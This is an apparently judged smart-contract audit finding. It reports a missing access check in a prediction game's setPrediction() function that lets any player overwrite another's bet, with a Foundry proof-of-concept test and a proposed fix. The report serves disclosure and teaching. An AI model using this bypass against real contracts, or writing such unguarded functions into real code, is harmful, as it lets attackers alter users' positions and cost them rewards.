Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Prediction for a match can be set on behalf of other players.

Summary

Due to a missing check for the msg.sender in setPrediction() function, it is possible to override the predictions of other players.
Nothing stops the caller of the function to pass address player which is different than himself.

Vulnerability Details

setPrediction() is a public function which can be called by anyone. At the same time it accepts as an argument the address of the player which prediction is going to be changed. This can lead to loss of rewards for honest players, because someone has changed their prediction.

function setPrediction(address player, uint256 matchNumber, Result result) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ThePredicterPocTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public friend = makeAddr("friend");
address public stranger = makeAddr("stranger");
uint256 constant ENTRANCE_FEE = 0.04 ether;
uint256 constant PREDICTION_FEE = 0.0001 ether;
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(address(scoreBoard), ENTRANCE_FEE, PREDICTION_FEE);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
vm.deal(friend, ENTRANCE_FEE + PREDICTION_FEE);
vm.deal(stranger, ENTRANCE_FEE);
}
function testOverridingPlayersPrediction() public {
uint8 MATCH_NUMBER = 0;
vm.prank(friend);
thePredicter.register{value: ENTRANCE_FEE}();
vm.prank(stranger);
thePredicter.register{value: ENTRANCE_FEE}();
vm.startPrank(organizer);
thePredicter.approvePlayer(friend);
thePredicter.approvePlayer(stranger);
vm.stopPrank();
vm.prank(friend);
thePredicter.makePrediction{value: PREDICTION_FEE}(MATCH_NUMBER, ScoreBoard.Result.First);
vm.prank(stranger);
scoreBoard.setPrediction(friend, MATCH_NUMBER, ScoreBoard.Result.Second);
}
}

Impact

Honest players can make a correct initial prediction, which might have been overridden by a malicious player, which can lead to loss of rewards for the honest player.

Tools Used

Manual Review

Recommendations

Consider adding a check for the passed argument for player. Since the setPrediction() is intended to be called directly by players and to be called by the predicter contract, we have to consider those two cases in our check - if the caller is the predicter, we trust the call, and if not, we check if the player argument is the same as the msg.sender.

function setPrediction(address player, uint256 matchNumber, Result result) public { // @audit-issue player address is set and function is public
if(msg.sender != thePredicter && player != msg.sender) {
revert();
}
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.